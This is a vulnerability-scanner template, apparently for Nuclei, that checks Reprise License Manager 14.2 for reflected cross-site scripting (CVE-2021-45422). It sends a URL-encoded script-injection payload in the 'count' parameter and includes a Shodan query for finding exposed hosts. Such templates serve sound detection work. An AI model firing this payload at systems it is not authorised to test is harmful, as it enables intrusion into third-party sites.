id: CVE-2021-45422

info:
  name: Reprise License Manager 14.2 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Reprise License Manager 14.2 contains a cross-site scripting vulnerability in the /goform/activate_process "count" parameter via GET.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Reprise License Manager 14.2.
  reference:
    - https://seclists.org/fulldisclosure/2022/Jan/31
    - https://www.getinfosec.news/13202933/reprise-license-manager-142-reflected-cross-site-scripting#/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45422
    - http://reprise.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-45422
    cwe-id: CWE-79
    epss-score: 0.00218
    epss-percentile: 0.59613
    cpe: cpe:2.3:a:reprisesoftware:reprise_license_manager:14.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: reprisesoftware
    product: reprise_license_manager
    shodan-query: http.html:"Reprise License"
  tags: cve,cve2021,reprise,xss,seclists

http:
  - method: GET
    path:
      - "{{BaseURL}}/goform/activate_process?isv=&akey=&hostid=&count=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""><script>alert(document.domain)</script>"><input type='
          - 'value: "><script>alert(document.domain)</script>)<br>'
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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